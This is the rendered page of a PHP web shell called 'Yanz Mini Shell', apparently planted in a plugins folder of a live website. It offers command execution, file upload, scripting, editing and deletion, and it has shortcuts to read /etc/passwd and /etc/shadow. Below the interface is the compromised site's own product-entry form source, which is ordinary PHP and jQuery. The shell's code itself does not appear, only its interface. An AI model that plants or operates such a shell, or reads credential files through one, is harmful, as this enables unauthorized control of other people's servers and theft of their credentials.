Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
fastclick
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php include "header.php";?> <style> body { font-weight: 400; background: aliceblue; } </style> <link href="input-css.css" rel="stylesheet" type="text/css" /> <section class="content" style="background-color: aliceblue;margin-top: 35px;"> <div class="row"> <div class="col-md-4" style="text-align: left;"> <h4><i class="fa fa-info-circle"></i> Create Product & Material Information Here...</h4> </div> <div class="col-md-8" style="text-align: right;"> <a href="product.php" class="btn btn-info btn-sm"><i class="fa fa-arrow-left"></i> Back to Product Information</a> </div> </div> <div class="row" style="margin-top: 22px;"> <form enctype="multipart/form-data" method="post" id="add_new_product" accept-charset="utf-8"> <div class="row" style="margin-left:10px;"> <div class="col-md-2"> <div class="form-group"> <label>Product Name</label> <input name="product_name[]" class="form-control product_name" style="width:100%" id="product_name" required> </div> </div> <div class="col-md-2"> <div class="form-group"> <label>Product Short Name</label> <input name="short_name[]" class="form-control short_name" style="width:100%" id="short_name" required> </div> </div> <div class="col-md-1"> <div class="form-group"> <label>Order Number</label> <input name="order_no[]" class="form-control order_no" style="width:100%" id="order_no" required> </div> </div> <div class="col-md-1"> <div class="form-group"> <label>Count Status</label> <select name="count_status[]" class="form-control count_status" style="width:100%" id="count_status" required> <option value="YES">YES</option> <option value="NO">NO</option> </select> </div> </div> <div class="col-md-1"> <div class="form-group"> <label>Category</label> <select name="category[]" class="form-control category" style="width:100%" id="category" required> <option value="SHIRT">SHIRT</option> <option value="PANT">PANT</option> </select> </div> </div> <div class="col-md-2"> <div class="form-group"> <label>Product Status</label> <select name="product_status[]" class="form-control product_status" style="width:100%" id="product_status" required> <option value="GENERAL">GENERAL</option> <option value="ADDITIONAL">ADDITIONAL</option> </select> </div> </div> <div class="col-md-2"> <div class="form-group"> <label>Product Rate</label> <input name="product_rate[]" class="form-control product_rate" style="width:100%" id="product_rate" required> </div> </div> <div class="col-md-1"> <span id="add_product" class="btn btn-warning btn-sm" style="margin-top: 28px;"><i class="fa fa-plus"></i> Add</span> </div> </div> <div id="product_section"></div> <table style="width:100%;" id="product_table1"> </table> <br> <center><input type="submit" id="add_new_product_submit" name="add_product" value="Add Product" class="btn btn-success" /></center> </form> </div> <div class="form-group" style="text-align:center;"> <a href="product-create.php"><button class="btn btn-primary" ><i class="fa fa-refresh"></i> Reset Form</button></a> <a href="product.php"><button class="btn btn-warning" ><i class="fa fa-chevron-left"></i> Back to List</button></a> </div> </section> <script> $(document).ready(function(){ $('#add_new_product').on('submit', function(e){ e.preventDefault(); $("#add_new_product_submit").attr('disabled','disabled'); console.log('Product Submit Option Start...'); var formData = new FormData(this); formData.append('type', 'add_new_product'); $.ajax({ url: 'apis/create-new-product-api.php', type: 'post', dataType: 'json', data: formData, cache: false, contentType: false, processData: false, enctype: 'multipart/form-data', success: function (response) { console.log(response); if(response['status']==200){ $('#add_new_product').trigger("reset"); $("#add_new_product_submit").removeAttr('disabled'); alert(response['message']); }else{ alert(response['message']); $("#add_product").removeAttr('disabled'); } } }); }); }); </script> <script> function isNumberKey(txt, evt) { var charCode = (evt.which) ? evt.which : evt.keyCode; if (charCode == 46) { if (txt.value.indexOf('.') === -1) { return true; } else { return false; } } else { if (charCode > 31 && (charCode < 48 || charCode > 57)) return false; } return true; } </script> <script type="text/javascript"> $('#add_product').on('click', function() { html = `<div class="row" style="margin-left:10px;"> <div class="col-md-2"> <div class="form-group"> <label>Product Name</label> <input name="product_name[]" class="form-control product_name" style="width:100%" id="product_name" required> </div> </div> <div class="col-md-2"> <div class="form-group"> <label>Product Short Name</label> <input name="short_name[]" class="form-control short_name" style="width:100%" id="short_name" required> </div> </div> <div class="col-md-1"> <div class="form-group"> <label>Order Number</label> <input name="order_no[]" class="form-control order_no" style="width:100%" id="order_no" required> </div> </div> <div class="col-md-1"> <div class="form-group"> <label>Count Status</label> <select name="count_status[]" class="form-control count_status" style="width:100%" id="count_status" required> <option value="YES">YES</option> <option value="NO">NO</option> </select> </div> </div> <div class="col-md-1"> <div class="form-group"> <label>Category</label> <select name="category[]" class="form-control category" style="width:100%" id="category" required> <option value="SHIRT">SHIRT</option> <option value="PANT">PANT</option> </select> </div> </div> <div class="col-md-2"> <div class="form-group"> <label>Product Status</label> <select name="product_status[]" class="form-control product_status" style="width:100%" id="product_status" required> <option value="GENERAL">GENERAL</option> <option value="ADDITIONAL">ADDITIONAL</option> </select> </div> </div> <div class="col-md-2"> <div class="form-group"> <label>Product Rate</label> <input name="product_rate[]" class="form-control product_rate" style="width:100%" id="product_rate" required> </div> </div> <div class="col-md-1"> <span class="btn btn-danger btn-sm remove_product" style="margin-top: 28px;"><i class="fa fa-trash-o"></i></span> </div> </div>`; $('#product_section').append(html); }); $(document).on('click', '.remove_product', function(){ $(this).closest('.row').remove(); }); </script> <?php include "footer.php";?>
Free Space : 12147372032 Byte